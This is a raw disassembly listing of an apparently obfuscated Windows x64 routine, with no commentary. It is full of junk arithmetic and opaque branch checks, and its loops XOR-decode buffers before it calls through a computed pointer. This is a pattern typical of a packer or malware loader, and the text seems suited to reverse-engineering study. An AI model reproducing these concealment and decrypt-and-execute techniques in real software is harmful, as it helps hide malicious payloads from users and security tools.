call qword [sym.imp.KERNEL32.dll_OpenFileMappingA]
mov ecx, dword [rbp - 0xc]
mov r13d, 0x1308
mov eax, dword [rbp + 0x40]
cmp ecx, eax
jge 0x14001c6d4
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp - 0xc]
add ecx, 0xffffff53
cmp eax, ecx
je 0x14001bfcf
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp - 8]
add ecx, 0x21b
cmp eax, ecx
je 0x14001c134
mov ecx, dword [rbp - 0x1c]
mov eax, dword [rbp - 0x18]
add ecx, 0x6ff
cmp eax, ecx
je 0x14001c134
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp - 0x1c]
add ecx, 0xffffee25
cmp eax, ecx
je 0x14001c134
mov ecx, dword [rbp - 8]
mov eax, dword [rbp - 0x20]
add ecx, 0xfffffe9b
cmp eax, ecx
jge 0x14001c134
mov ecx, dword [rbp - 0x1c]
mov eax, dword [rbp - 0x20]
add ecx, 0x5a9
cmp eax, ecx
jg 0x14001c134
mov r8d, dword [0x140269098]
mov r10, r14
mov edx, dword [0x14026904c]
mov ecx, edx
xor ecx, dword [0x140269084]
mov rax, qword [0x1402690d8]
sub ecx, 0x10add6
mov r9d, dword [r10 + rax]
add r10, 4
mov eax, dword [0x140269034]
imul r9d, dword [0x140269074]
imul eax, ecx
movsxd rcx, r8d
mov dword [0x140269034], eax
mov eax, 0xfff16cc1
sub eax, dword [0x14026902c]
add edx, eax
mov rax, qword [0x1402690e8]
mov dword [0x14026904c], edx
mov edx, r9d
shr edx, 0x10
mov byte [rcx + rax], dl
add dword [0x140269098], r15d
mov rdx, qword [section..data]
mov ecx, dword [0x14026909c]
xor ecx, dword [0x140269060]
xor ecx, 0x15222c
mov eax, dword [rdx + 0x14c]
imul eax, ecx
mov dword [rdx + 0x14c], eax
mov edx, r9d
mov rcx, qword [section..data]
shr edx, 8
mov eax, dword [rcx + 0x74]
xor dword [rcx + 0x18], eax
mov rax, qword [section..data]
mov ecx, dword [rax + 0xbc]
mov eax, dword [rax + 0x3c]
add eax, 0xffedcf71
add ecx, eax
mov rax, qword [0x1402690e8]
xor dword [0x14026903c], ecx
movsxd rcx, dword [0x140269098]
mov byte [rcx + rax], dl
mov r8d, dword [0x140269098]
mov rcx, qword [section..data]
add r8d, r15d
mov edx, dword [0x1402690cc]
mov dword [0x140269098], r8d
mov eax, dword [rcx + 0x54]
sub eax, r15d
xor edx, eax
mov dword [0x1402690cc], edx
mov eax, dword [rcx + 0x24]
add eax, dword [0x140269108]
xor eax, 0xfffb3f57
movsxd rcx, r8d
sub edx, eax
mov rax, qword [0x1402690e8]
mov dword [0x1402690cc], edx
mov byte [rcx + rax], r9b
mov r8d, dword [0x140269098]
mov rax, qword [section..data]
add r8d, r15d
mov dword [0x140269098], r8d
mov ecx, dword [rax + 0xe4]
mov eax, dword [0x140269028]
add eax, 0xffef1f65
add ecx, eax
mov eax, dword [0x140269088]
or dword [0x140269108], ecx
xor eax, 0x605e04
add dword [0x14026903c], eax
cmp r10, 0x14190
jl 0x14001be5b
jmp 0x14001c134
mov rax, qword [section..data]
mov ecx, dword [rax + 0x10c]
or ecx, dword [0x14026909c]
and ecx, dword [0x140269120]
cmp dword [0x14026914c], ecx
jne 0x14001c02e
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp + 0x40]
or ecx, 0x19f2
cmp eax, ecx
je 0x14001c02e
mov edx, dword [rbp - 0x18]
mov ecx, dword [0x140269088]
imul edx, dword [0x140269100]
or rcx, 0x1952
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
movsxd rcx, dword [rbp - 0xc]
or rcx, 0x1b0c
call qword [sym.imp.KERNEL32.dll_SwitchToFiber]
mov r10d, dword [rbp + 0x40]
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp - 0x20]
or ecx, eax
and ecx, 0x1952
cmp r10d, ecx
jle 0x14001c134
mov r11d, 0x172e
mov r8d, dword [0x14026907c]
jmp 0x14001c104
mov rax, qword [section..data]
mov ecx, dword [rax + 0x74]
or ecx, dword [0x140269040]
mov eax, dword [rbp + 0x40]
cmp eax, ecx
jae 0x14001c100
mov eax, dword [rbp - 0x18]
mov rcx, qword [section..data]
xor eax, 0x1ab7
cmp dword [rcx + 0xc0], eax
jne 0x14001c100
mov eax, dword [0x14026904c]
mov ebx, 0xb6a
mov r9d, dword [0x140269040]
or eax, ebx
cmp r9d, eax
jbe 0x14001c100
mov eax, dword [rbp - 0x10]
add r9d, 2
mov edx, dword [rcx + 0x70]
add edx, dword [0x1402690e0]
sub edx, eax
mov eax, dword [0x140269150]
xor eax, dword [0x14026905c]
mov dword [0x1402690d0], eax
mov eax, dword [rbp - 0x1c]
mov ecx, dword [0x14026906c]
sub ecx, eax
mov dword [0x1402690e0], edx
mov eax, dword [0x140269110]
imul eax, ecx
mov dword [0x140269110], eax
mov eax, dword [0x14026904c]
or eax, ebx
cmp r9d, eax
jbe 0x14001c100
mov rcx, qword [section..data]
jmp 0x14001c0a6
add r8d, 3
mov eax, dword [rbp - 8]
xor eax, r11d
sub eax, dword [0x140269028]
cmp r8d, eax
je 0x14001c05b
mov ecx, dword [rbp - 0x20]
add r10d, 2
mov eax, dword [rbp - 0x20]
or ecx, eax
and ecx, 0x1952
cmp r10d, ecx
jg 0x14001c04f
mov ecx, dword [rbp - 8]
mov eax, dword [rbp - 0x20]
add ecx, 0xffffff3b
cmp eax, ecx
jge 0x14001c2b3
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp + 0x40]
add ecx, 0xfffff488
cmp eax, ecx
jl 0x14001c1c1
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp + 0x40]
add ecx, 0xd4b
cmp eax, ecx
jge 0x14001c1c1
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp - 0x1c]
xor ecx, 0xc98
cmp eax, ecx
je 0x14001c1c1
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 0x1c]
xor ecx, 0x1239
cmp eax, ecx
je 0x14001c1c1
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 0x14]
add ecx, 0xd
cmp eax, ecx
jle 0x14001c1c1
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp - 0x20]
xor ecx, r13d
cmp eax, ecx
je 0x14001c1c1
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp - 0x18]
cmp ecx, eax
je 0x14001c1c1
xor dword [rbp - 0xc], 0x1cd7
mov rax, qword [section..data]
mov dword [rax + 0x64], 0x98b
mov ecx, dword [rbp - 8]
mov eax, dword [rbp - 0x14]
add ecx, 0x156
cmp eax, ecx
jg 0x14001c2b3
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 8]
add ecx, 0xfffff47c
cmp eax, ecx
jl 0x14001c2b3
mov ecx, dword [rbp - 0x18]
mov eax, dword [rbp - 8]
add ecx, 0xfffffea4
cmp eax, ecx
jle 0x14001c253
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 0x18]
xor ecx, 0x109c
cmp eax, ecx
jle 0x14001c2b3
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp - 8]
xor ecx, 0xa56
cmp eax, ecx
jl 0x14001c2b3
cmp dword [0x14026910c], 0x10b0f
jb 0x14001c2b3
mov rax, qword [section..data]
mov ecx, dword [rax + 0x16c]
mov eax, dword [0x140269074]
add eax, 0x128a
add ecx, eax
mov dword [0x140269074], ecx
jmp 0x14001c2b3
mov eax, dword [0x1402690e0]
and eax, 0x1ab7
sub eax, dword [0x140269134]
cmp dword [0x14026906c], eax
jbe 0x14001c2b3
mov eax, dword [0x140269144]
xor eax, 0xb6a
cmp dword [0x14026908c], eax
je 0x14001c2b3
mov edx, dword [rbp + 0x40]
jmp 0x14001c29f
mov ecx, dword [rbp - 0x14]
add ecx, dword [0x14026915c]
xor ecx, dword [0x14026913c]
mov eax, dword [rbp - 0x18]
imul eax, ecx
add edx, 4
mov dword [rbp - 0x18], eax
mov eax, dword [rbp - 0x14]
mov ecx, dword [0x140269128]
sub ecx, eax
mov eax, dword [rbp - 8]
add eax, ecx
cmp edx, eax
jae 0x14001c284
mov ecx, dword [rbp - 0x1c]
mov eax, dword [rbp - 0x18]
add ecx, 0x5a9
cmp eax, ecx
jg 0x14001c6d4
mov ecx, dword [rbp - 0x1c]
mov eax, dword [rbp - 0x20]
add ecx, 0x6ff
cmp eax, ecx
jg 0x14001c342
mov ecx, dword [rbp - 8]
mov eax, dword [rbp - 0x20]
add ecx, 0xfffff30a
cmp eax, ecx
jg 0x14001c306
mov eax, dword [0x14026910c]
xor eax, 0x7e75d5d7
sub dword [0x140269074], eax
xor dword [rbp - 0x18], 0x128e
xor dword [rbp - 0x1c], 0xcfc
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 0x20]
add ecx, 0x172
cmp eax, ecx
je 0x14001c39b
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp - 0xc]
xor ecx, 0x1493
cmp eax, ecx
je 0x14001c39b
mov ecx, dword [rbp - 0x18]
mov eax, dword [rbp - 0x14]
add ecx, 0x389
cmp eax, ecx
je 0x14001c39b
mov eax, dword [rbp - 0x10]
mov eax, dword [rbp - 8]
jmp 0x14001c39b
mov eax, dword [rbp - 0xc]
mov rcx, qword [section..data]
mov edx, dword [rcx + 0x130]
mov ecx, dword [rbp - 0x1c]
sub edx, eax
mov eax, dword [rbp + 0x40]
xor ecx, edx
cmp eax, ecx
jbe 0x14001c39b
mov rax, qword [section..data]
mov edx, dword [rax + 0x118]
jmp 0x14001c387
mov ecx, dword [rbp - 8]
mov eax, dword [rbp - 0x18]
xor ecx, eax
mov rax, qword [section..data]
sub dword [rax + 0xf4], ecx
add edx, 3
mov eax, dword [0x140269178]
mov ecx, dword [rbp + 0x40]
add eax, 0xfffff496
add ecx, eax
cmp edx, ecx
jbe 0x14001c36f
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp - 0x10]
xor ecx, 0x11cc
cmp eax, ecx
jle 0x14001c4ac
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp - 8]
add ecx, 0xfffffa71
cmp eax, ecx
jl 0x14001c445
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp - 0x1c]
add ecx, 0xffffee25
cmp eax, ecx
jl 0x14001c4ac
mov ecx, dword [rbp - 0x1c]
mov eax, dword [rbp - 0x10]
xor ecx, 0x1298
cmp eax, ecx
je 0x14001c4ac
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 0x14]
add ecx, 0xffffff51
cmp eax, ecx
jl 0x14001c4ac
mov ecx, dword [rbp - 0xc]
mov eax, dword [rbp - 0x18]
add ecx, 0x1234
cmp eax, ecx
je 0x14001c4ac
mov rcx, qword [section..data]
lea rdx, [0x140269180]
mov eax, dword [0x1402690e0]
cmp dword [rcx + 0x130], eax
cmovae rdx, qword [0x1402690d8]
mov qword [0x1402690d8], rdx
add dword [rbp - 8], 0xfffff44e
jmp 0x14001c4ac
mov eax, dword [rbp - 0x10]
mov edx, 0xdc1
mov ecx, dword [rbp - 0x20]
sub ecx, eax
mov eax, dword [rbp + 0x40]
and ecx, edx
cmp eax, ecx
jl 0x14001c4ac
mov ecx, dword [rbp - 0x18]
mov eax, dword [rbp + 0x40]
or ecx, edx
xor ecx, 0x1896
cmp eax, ecx
jne 0x14001c4ac
mov eax, dword [0x1402690e0]
xor eax, dword [0x14026904c]
sub eax, 0xb6a
xor dword [rbp + 0x40], eax
mov rax, qword [section..data]
mov ecx, dword [rax + 0x4c]
or ecx, dword [0x1402690f4]
mov eax, dword [rbp - 8]
or ecx, 0x13a4
sub dword [0x140269150], ecx
or eax, dword [0x140269078]
sub dword [0x14026906c], eax
mov ecx, dword [rbp - 8]
mov eax, dword [rbp + 0x40]
add ecx, 0x190
cmp eax, ecx
je 0x14001c6d4
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp + 0x40]
cmp ecx, eax
je 0x14001c6d4
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp + 0x40]
add ecx, 0xfffffd38
cmp eax, ecx
jne 0x14001c6d4
mov ecx, dword [rbp - 0x1c]
mov eax, dword [rbp - 8]
add ecx, 0xffffefe7
cmp eax, ecx
jl 0x14001c6d4
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp - 0x10]
xor ecx, 0x18cf
cmp eax, ecx
je 0x14001c6d4
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp - 8]
add ecx, 0xfffffd38
cmp eax, ecx
jg 0x14001c6d4
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp + 0x40]
xor ecx, 0x548
cmp eax, ecx
jg 0x14001c6d4
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 0x10]
add ecx, 0xfffffde9
cmp eax, ecx
je 0x14001c6d4
add dword [rbp - 0x10], 0xffffefe7
mov rdi, r14
mov r10, qword [section..data]
mov r12d, 0x1943e3
mov esi, dword [0x140269148]
mov r11d, dword [0x140269100]
mov ebx, dword [0x1402690cc]
mov edx, dword [0x140269064]
mov rax, qword [0x1402690d8]
lea ecx, [rbx + 0x172368]
mov r8d, dword [rdi + rax]
lea eax, [rsi - 2]
imul r8d, dword [r10 + 0x64]
add rdi, 4
imul edx, eax
mov rax, qword [0x1402690e8]
mov dword [0x140269064], edx
mov edx, r8d
add ecx, dword [r10 + 0xd0]
imul r11d, ecx
shr edx, 8
mov dword [0x140269100], r11d
movsxd rcx, dword [r10 + 0x88]
mov byte [rcx + rax], dl
mov rax, qword [section..data]
add dword [rax + 0x88], r15d
movsxd rcx, dword [0x140269098]
mov rax, qword [0x1402690e8]
mov byte [rcx + rax], r8b
add dword [0x140269098], r15d
mov r10, qword [section..data]
mov eax, dword [0x140269088]
mov r8d, dword [0x140269038]
mov ebx, dword [0x1402690cc]
mov ecx, dword [r10 + 0x1c]
add ecx, dword [0x140269118]
mov edx, dword [0x140269064]
xor ecx, 0xfff21ce8
mov r11d, dword [0x140269100]
mov r9d, r11d
sub r9d, dword [0x140269108]
mov esi, dword [0x140269148]
imul eax, ecx
mov ecx, dword [0x1402690c0]
add ecx, r8d
sub r8d, dword [0x140269108]
xor ecx, 0x38afc3
sub r8d, 0x2d10b6
add dword [0x14026915c], ecx
mov dword [0x140269088], eax
mov eax, r9d
xor eax, r12d
add ebx, eax
mov eax, dword [0x140269018]
add eax, 0xffe5f614
mov dword [0x1402690cc], ebx
mov ecx, dword [r10 + 8]
add ecx, eax
mov eax, dword [0x14026917c]
sub eax, dword [0x140269060]
add eax, 0x15222d
mov dword [0x140269018], ecx
mov ecx, dword [0x1402690f4]
or edx, eax
mov eax, dword [0x1402690e0]
imul ecx, r8d
xor eax, esi
add eax, 0x18a61e
mov dword [0x140269064], edx
xor dword [0x14026903c], eax
xor r9d, ecx
xor r9d, r12d
mov dword [0x1402690f4], r9d
cmp rdi, 0x19290
jl 0x14001c576
mov ecx, dword [rbp - 0xc]
mov eax, dword [rbp - 0x20]
xor ecx, 0x108b
cmp eax, ecx
jg 0x14001c740
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp - 8]
add ecx, 0x96d
cmp eax, ecx
je 0x14001c740
mov ecx, dword [rbp - 8]
mov eax, dword [rbp + 0x40]
add ecx, 0xfffffebc
cmp eax, ecx
je 0x14001c740
mov ecx, dword [rbp - 0x18]
mov eax, dword [rbp - 8]
add ecx, 0xdd6
cmp eax, ecx
jg 0x14001c740
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp - 0x14]
add ecx, 0xe4c
cmp eax, ecx
jne 0x14001c740
add dword [rbp - 0x1c], 0xffffff60
lea rcx, [0x140269010]
mov rax, qword [section..data]
mov qword [rax + 0x150], rcx
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp - 0x14]
xor ecx, 0x18cf
cmp eax, ecx
je 0x14001c7c2
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 0x14]
xor ecx, 0x1239
cmp eax, ecx
je 0x14001c78c
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp - 0x1c]
xor ecx, 0x102b
cmp eax, ecx
jge 0x14001c785
xor dword [rbp - 0x20], 0x1776
xor dword [rbp + 0x40], 0x9d0
add dword [rbp - 0x14], 0xfffffde5
add dword [rbp - 0x1c], 0xfffffa52
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp - 0x1c]
add ecx, 0x9cb
cmp eax, ecx
jl 0x14001c7c2
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp - 8]
xor ecx, 0x1285
cmp eax, ecx
jl 0x14001c7c2
mov ecx, dword [rbp - 0x18]
mov eax, dword [rbp + 0x40]
xor ecx, 0x6bd
cmp eax, ecx
jle 0x14001c7c2
mov eax, dword [rbp - 0x14]
mov eax, dword [rbp - 0x1c]
mov ecx, dword [rbp - 0x18]
mov eax, dword [rbp - 0x10]
xor ecx, 0x1771
cmp eax, ecx
jge 0x14001cacc
mov ecx, dword [rbp - 0x20]
mov eax, dword [rbp + 0x40]
add ecx, 0xfffff0b3
cmp eax, ecx
je 0x14001ca4e
mov ecx, dword [rbp - 8]
mov edx, 0x1640
mov eax, dword [rbp + 0x40]
xor ecx, edx
cmp eax, ecx
jge 0x14001c94f
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp - 0x20]
xor ecx, 0x1ef7
cmp eax, ecx
jl 0x14001c924
mov ecx, dword [rbp - 0xc]
mov eax, dword [rbp - 0x20]
xor ecx, 0x2a5
cmp eax, ecx
je 0x14001ca4e
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp - 0x1c]
add ecx, 0xffffff60
cmp eax, ecx
je 0x14001ca4e
mov ecx, dword [rbp - 8]
mov eax, dword [rbp - 0xc]
xor ecx, edx
cmp eax, ecx
je 0x14001ca4e
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp - 8]
add ecx, 0xf79
cmp eax, ecx
je 0x14001ca4e
mov ecx, dword [rbp - 8]
mov eax, dword [rbp + 0x40]
xor ecx, 0x537
cmp eax, ecx
jl 0x14001ca4e
mov ecx, dword [rbp - 0x18]
mov eax, dword [rbp + 0x40]
add ecx, 0xf90
cmp eax, ecx
jg 0x14001ca4e
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp - 0x1c]
xor ecx, 0x967
cmp eax, ecx
je 0x14001ca4e
mov ecx, dword [rbp - 8]
mov eax, dword [rbp - 0x14]
xor ecx, r13d
cmp eax, ecx
je 0x14001ca4e
mov eax, dword [0x14026909c]
mov ecx, dword [0x1402690c0]
add eax, 0xfff460f9
add ecx, eax
mov eax, dword [0x1402690a0]
mov dword [0x14026909c], ecx
mov rcx, qword [0x1402690f8]
xor dword [r14 + rcx], eax
add r14, 4
mov eax, dword [0x14026912c]
add dword [0x1402690a0], eax
mov eax, 0x10add7
mov rcx, qword [section..data]
sub eax, dword [rcx + 0x3c]
add dword [rcx + 0x24], eax
cmp r14, 0x399c58
jl 0x14001c8ac
cmp dword [0x140269060], 0x1a80
jbe 0x14001ca4e
mov rax, qword [0x1402690f8]
mov qword [0x1402690a8], rax
jmp 0x14001ca4e
mov ecx, dword [rbp - 0x1c]
or ecx, dword [0x140269108]
mov eax, dword [rbp + 0x40]
cmp eax, ecx
jb 0x14001ca4e
mov ecx, dword [rbp - 0x20]
add ecx, dword [0x140269084]
mov eax, dword [rbp - 0x10]
imul eax, ecx
xor dword [rbp - 0xc], eax
jmp 0x14001ca4e
mov edi, dword [rbp + 0x40]
mov eax, dword [0x140269054]
imul eax, dword [0x140269100]
or eax, dword [0x1402690f4]
cmp edi, eax
ja 0x14001ca4e
mov r12d, 0x832
mov rax, qword [section..data]
mov esi, dword [rax + 0xfc]
jmp 0x14001ca1f
mov ebx, dword [0x1402690c8]
jmp 0x14001ca04
mov r14d, dword [0x14026906c]
jmp 0x14001c9ef
mov eax, dword [rbp + 0x40]
mov ecx, 0xfffff0fb
sub ecx, dword [0x140269034]
add ecx, eax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rax, qword [section..data]
mov ecx, dword [0x140269080]
and ecx, dword [0x140269158]
add ecx, dword [rax + 0xfc]
mov eax, dword [rbp - 0x20]
mov r8d, dword [rbp - 0x14]
mov edx, dword [0x140269038]
and rdx, rax
mov eax, dword [0x1402690e0]
xor rdx, rax
mov eax, dword [rbp - 0x1c]
imul r8d, eax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
add r14d, 2
mov ecx, dword [rbp - 0xc]
mov eax, dword [rbp + 0x40]
or ecx, eax
mov eax, dword [rbp + 0x40]
sub ecx, eax
cmp r14d, ecx
jl 0x14001c996
add ebx, 2
mov eax, dword [rbp - 0x10]
xor eax, dword [0x140269058]
cmp ebx, eax
jbe 0x14001c98d
mov rax, qword [section..data]
add esi, 3
mov ecx, dword [rbp - 0x18]
or ecx, dword [rax + 0x70]
sub ecx, r12d
cmp esi, ecx
jbe 0x14001c985
mov eax, dword [0x140269054]
add edi, r15d
imul eax, dword [0x140269100]
or eax, dword [0x1402690f4]
cmp edi, eax
jbe 0x14001c973
mov ecx, dword [rbp + 0x40]
mov eax, dword [rbp - 8]
xor ecx, 0x7bb
cmp eax, ecx
jge 0x14001cacc
mov ecx, dword [rbp - 0x10]
mov eax, dword [rbp - 0x18]
add ecx, 0x59
cmp eax, ecx
je 0x14001cacc
mov ecx, dword [rbp - 0x14]
mov eax, dword [rbp - 0x10]
xor ecx, 0x11c0
cmp eax, ecx
je 0x14001cacc
mov ecx, dword [rbp - 8]
mov eax, dword [rbp - 0xc]
add ecx, 0xa4d
cmp eax, ecx
je 0x14001cacc
mov ecx, dword [rbp - 0x18]
mov eax, dword [rbp - 0x20]
add ecx, 0x828
cmp eax, ecx
jl 0x14001cacc
mov eax, dword [0x140269128]
cmp dword [0x140269038], eax
jb 0x14001cacc
mov rcx, qword [section..data]
mov rdx, qword [0x140269170]
mov rcx, qword [rcx + 0x150]
call qword [0x1402690a8]
mov dword [0x140269154], eax
jmp 0x14001cad2
mov eax, dword [0x140269154]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_ExitProcess]